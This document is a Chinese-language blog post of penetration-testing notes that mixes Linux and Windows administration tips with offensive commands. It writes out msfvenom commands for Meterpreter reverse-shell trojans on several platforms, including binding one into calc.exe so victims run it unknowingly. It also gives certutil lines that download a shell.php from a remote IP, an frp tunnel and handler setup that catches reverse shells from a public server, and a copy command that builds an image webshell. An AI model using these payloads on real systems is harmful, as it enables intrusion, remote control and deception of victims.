- 判断邮箱是否在outlook上托管
mail.live.com 直接账号登陆看是否跳转
-
linux比较重要的目录
/var/log 首先是日志,里面的message保存了比较重要的信息,一般出问题了登上去首先会去看这里。
还有lastb查看登录错误的日志,last查看所有的登录日志,lastlog查看最后一次登录的日志。
/var/log/secure 记录了验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权。
home目录下面有个.bash_history 如果etc/passwd发现有新增的可疑用户的话会去看一下,他记录了历史命令。
var/spool/cron里面有计划任务,留后门的话有可能会定时反弹shell。
home/用户名/ssh 记录了ssh公钥,查看有没有被留后门。
etc/rc.local开机自启动。
临时文件在/var/tmp目录中。
如果要给linux上的敏感文件做个排行榜,那么/etc/shadow、/root/.ssh/authorized_keys、/root/.ssh/id_rsa、/root/.bash_history这四个绝对是毫无疑问的T0,逮着这四个测准没错。
- windows命令行如何下载文件?
certutil
certuti也是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。
certutil -urlcache -split -f http://114.118.80.138/shell.php #下载文件到当前目录下
certutil -urlcache -split -f http://114.118.80.138/shell.php c:/users/xie/desktop/shell.php #下载文件到指定目录下
文件base64编码解码
certutil -encode a.txt b.txt #将a.txt文件base64编码为b.txt
certutil -decode b.txt c.txt #将c.txt文件base64解码为c.txt
bitsadmin
bitsadmin /rawreturn /transfer down "http://finger.tidesec.net/app/home/view/default/public/images/finger_info.png" D:\1.jpg
如果需要下载过大的文件,需要提高优先级。配合上面的下载命令,再次执行。
bitsadmin /setpriority 比如high
FOREGROUND、HIGH、NORMAL、LOW

- 腾讯云开启3306端口
查看3306端口是否状态
ubuntu@VM-15-131-ubuntu:~$ netstat -an | grep 3306
tcp6 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
可以发现: 3306端口绑定的IP地址是本地的127.0.0.1 , 需要解绑
修改Mysql配置文件
vim /etc/mysql/mysql.conf.d/mysqld.cnf
找到bind-address 并在前面加上 # 注释该行
#bind-address = 127.0.0.1
重启Mysql让配置文件生效
- mysql修改密码
修改语句无效(版本问题)
update mysql.user set authentication_string=password('123456') where user='root'
注意上述语句已经失效了,新版为:
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '123456';
-
利用Msfvenom制作木马
Windows木马
msfvenom -p windows/meterpreter/reverse_ tcp lhost=hackIP lport=4444 -f exe -o server.exe
拓展:将木马程序附加到一个常见的程序中,让受害者执行这个常见程序从而执行木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=hackIP lport=4444 -x calc.exe -k -f exe -o calc.exe
其中-x calc.exe是本地的计算器程序,也就是将木马植入到计算器文件。对方运行计算器程序后也就运行了木马。
linux系统木马
msfvenom -p linux/meterpreter/reverse_ tcp lhost=hackIP lport=4444 -f elf -o server.elf
安卓系统木马
msfvenom -p android/meterpreter/reverse_tcp lhost=hackIP lport=4444 -o server.apk
PHP木马
msfvenom -p php/meterpreter/reverse_tcp lhost=hackIP lport=4444 -f raw -o server.php
Python木马
msfvenom -p python/meterpreter/reverse_tcp lhost=hackIP lport=4444 -f raw -o server.py
-
Frp内网穿透
内网穿透从本质上来讲也是端口映射,两者都是将内网地址映射到公网可访问的地址,而区别是端口映射直接在路由器中配置即可,而内网穿透配置的端口映射则需要客户端和服务端进行绑定后实现,相当于客户端和服务端之间建立了一条隧道,然后访问服务端的请求会通过隧道转发给内网主机,该情况多用于没有公网 IP 的情况下使用。
frp下载地址:https://github.com/fatedier/frp/releases

文件含义

1、映射内网SSH服务
查看简易配置文件,配置了侦听端口为7000,即服务端与客户通讯的端口
启动服务端程序
./frps -c ./frps.ini
在本地linux中解压linux版本文件,并修改客户端简易配置文件frpc.ini

启动客户端程序
./frpc -c frpc.ini

此时云主机上服务端会显示已经成功的日志信息。
在云主机上查看6000端口的状态,显示已经配置了TCP监听

配置服务端的配置文件frps.ini,vhost_http_port为http服务访问端口,vhost_https_port为https
服务访问端口,此处以http服务为例
frps.ini配置文件
[common]
bind_port = 7000
vhost_http_port = 8080

配置完成后启动服务端程序
./frps -c ./frps.ini
更改客户端的配置文件frpc.ini
注:一定要注意公网服务器端口的开启
## frpc.ini配置文件
[common]
server_addr = 123.456.789.111 ## 云主机的公网IP
server_port = 7000 ## 服务端绑定的端口[web]
type = http
local_port = 80 ## 本地Web服务的端口
custom_domains = www.yourdomain.com ## 解析到公网IP上的域名

启动客户端程序
./frps -c ./frps.ini

服务端可以查看到成功链接的日志信息

访问域名:8080就可以访问本地的Web服务

3、配置MSF接收来自公网的shell
服务端配置文件不用改变(保持和客户端server_port一致),修改客户端配置文件即可,然后启动客户端程序
## frpc.ini配置文件
[common]
server_addr = 123.456.789.111 ## 云主机的公网IP
server_port = 7000 ## 服务端绑定的端口[msf]
type = tcp
local_port = 4444 ## 本地待监听端口
local_ip = 127.0.0.1
remote_port = 8085 ## 公网映射端口
本地生成 payload ,LHOST 指定为公网 IP,LPORT 指定为公网映射端口
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=123.456.789.111 LPORT=8085 -b "\x00" -f elf -o xuyu
本地启动 MSF 并配置侦听,此时监听LOST为本地ip地址,LPORT为frpc.ini配置文件中本地的端口
## MSF配置本地监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit
在另一台主机上执行payload,成功反弹shell到本地kali上。
注意:当发现自己VPS的IP不是公网地址时,无需内网穿透也可以用私网地址来设置lhsot,写木马时写成公网地址即可。

![]()
同时frp也可以配置socket代理。有机会下次写!
- CMD制作图片马
copy 111.jpg/b+222.asp/a 333.jpg
- Python实现简单的http server
如果不指定端口号默认的是8000端口。在局域网中使用web去访问http:/IP:8000即可
python -m SimpleHTTPServer 1234
python3 -m http.server 55555
- 如何获取网站真实(物理)路径


- Linux文件权限和/etc/passwd解释
1、文件权限

图中一行共显示了七列信息,从左至右依次为:权限、文件数、归属用户、归属群组、文件大小、创建日期、文件名称
drwxrwx--- 2 john www-data 4096 Jul 17 2021 .ssh

其中 -rwsr-xr-x 值得深究一下是什么意思?
我们会发现第一个字母要么是d或者是-。这里的d表示的是文件夹的意思,而如果是-,那么则表示是个普通文件。这里表示‘.ssh’这个文件是一个文件夹。
第一位表示文件类型
d 文件夹
- 普通文件
l 链接
b 块设备文件
p 管道文件
c 字符设备文件
s 套接口文件
2-4位表示文件属主拥有的权限
r是读、w是写、x是执行。
这里rwx表示读写执行都有
5-7位表示同组用户权限
r是读、w是写、x是执行。
这里rwx表示读写执行都有
8-10位表示其他用户所具有的权限
r是读、w是写、x是执行。
---表示其他用户什么权限都没有
此外,toto还有一个s字母在里面,表示有suid权限。
而具体的权限是由数字来表示的,读取的权限等于4,用r表示;写入的权限等于2,用w表示;执行的权限等于1,用x表示。
通过4、2、1的组合,得到以下几种权限:
0(没有权限);4(读取权限);5(4+1 | 读取+执行);6(4+2 | 读取+写入);7(4+2+1 | 读取+写入+执行)
以755为例:
1-3位7等于4+2+1,rwx,所有者具有读取、写入、执行权限;
4-6位5等于4+1+0,r-x,同组用户具有读取、执行权限但没有写入权限;
7-9位5,同上,也是r-x,其他用户具有读取、执行权限但没有写入权限。
所以在chmod xxx 给某一个文件时,比如chmod 777 Test实际上就是赋予Test这个文件rwxrwxrwx权限,也就是所有用户(owner/group/others)都可以读写和执行。
注意:chmod -R xxx xxx表示递归(recursive)的持续变更,亦即连同次目录下的所有档案都会变更
2、passwd文件解析

(1)注册名(login_name):用于区分不同的用户。在同一系统中注册名是惟一的。在很多系统上,该字段被限制在8个字符(字母或数字)的长度之内;并且要注意,通常在Linux系统中对字母大小写是敏感的。这与MSDOS/Windows是不一样的。
(2)口令(passwd):系统用口令来验证用户的合法性。超级用户root或某些高级用户可以使用系统命令passwd来更改系统中所有用户的口令,普通用户也可以在登录系统后使用passwd命令来更改自己的口令。
现在的Unix/Linux系统中,口令不再直接保存在passwd文件中,通常将passwd文件中的口令字段使用一个“x”来代替,将/etc /shadow作为真正的口令文件,用于保存包括个人口令在内的数据。当然shadow文件是不能被普通用户读取的,只有超级用户才有权读取。
此外,需要注意的是,如果passwd字段中的第一个字符是“*”的话,那么,就表示该账号被查封了,系统不允许持有该账号的用户登录。
(3)用户标识号(UID):UID是一个数值,是Linux系统中惟一的用户标识,用于区别不同的用户。在系统内部管理进程和文件保护时使用 UID字段。在Linux系统中,注册名和UID都可以用于标识用户,只不过对于系统来说UID更为重要;而对于用户来说注册名使用起来更方便。在某些特 定目的下,系统中可以存在多个拥有不同注册名、但UID相同的用户,事实上,这些使用不同注册名的用户实际上是同一个用户。
(4)组标识号(GID):这是当前用户的缺省工作组标识。具有相似属性的多个用户可以被分配到同一个组内,每个组都有自己的组名,且以自己的组标 识号相区分。像UID一样,用户的组标识号也存放在passwd文件中。在现代的Unix/Linux中,每个用户可以同时属于多个组。除了在 passwd文件中指定其归属的基本组之外,还在/etc/group文件中指明一个组所包含用户。
(5)用户名(user_name):包含有关用户的一些信息,如用户的真实姓名、办公室地址、联系电话等。在Linux系统中,mail和finger等程序利用这些信息来标识系统的用户。
(6)用户主目录(home_directory):该字段定义了个人用户的主目录,当用户登录后,他的Shell将把该目录作为用户的工作目录。 在Unix/Linux系统中,超级用户root的工作目录为/root;而其它个人用户在/home目录下均有自己独立的工作环境,系统在该目录下为每 个用户配置了自己的主目录。个人用户的文件都放置在各自的 主目录下。
(7)命令解释程序(Shell):Shell是当用户登录系统时运行的程序名称,通常是一个Shell程序的全路径名,如/bin/bash。
- 公钥与私钥
第一步:制作密钥对
首先在服务器上制作密钥对。首先用密码登录到你打算使用密钥登录的账户,然后执行以下命令:
[root@host ~]$ ssh-keygen <== 建立密钥对
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): <== 按 Enter
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase): <== 输入密钥锁码,或直接按 Enter 留空
Enter same passphrase again: <== 再输入一遍密钥锁码
Your identification has been saved in /root/.ssh/id_rsa. <== 私钥
Your public key has been saved in /root/.ssh/id_rsa.pub. <== 公钥
The key fingerprint is:
0f:d3:e7:1a:1c:bd:5c:03:f1:19:f1:22:df:9b:cc:08 root@host
密钥锁码在使用私钥时必须输入,这样就可以保护私钥不被盗用。当然,也可以留空,实现无密码登录。
现在,在 root 用户的家目录中生成了一个 .ssh 的隐藏目录,内含两个密钥文件。id_rsa 为私钥,id_rsa.pub 为公钥。
第二步:在服务器上安装公钥
键入以下命令,在服务器上安装公钥:
[root@host ~]$ cd .ssh
[root@host .ssh]$ cat id_rsa.pub >> authorized_keys
如此便完成了公钥的安装。为了确保连接成功,请保证以下文件权限正确:
[root@host .ssh]$ chmod 600 authorized_keys
[root@host .ssh]$ chmod 700 ~/.ssh
第三步:设置 SSH,打开密钥登录功能
编辑 /etc/ssh/sshd_config 文件,进行如下设置:
RSAAuthentication yes
PubkeyAuthentication yes
另外,请留意 root 用户能否通过 SSH 登录:
PermitRootLogin yes
当你完成全部设置,并以密钥方式登录成功后,再禁用密码登录:
PasswordAuthentication no
最后,重启 SSH 服务:
[root@host .ssh]$ service sshd restart
第四步:将私钥下载到客户端,然后转换为 PuTTY 能使用的格式
使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你刚才设置了密钥锁码,这时则需要输入。
载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。
今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。
浙公网安备 33010602011771号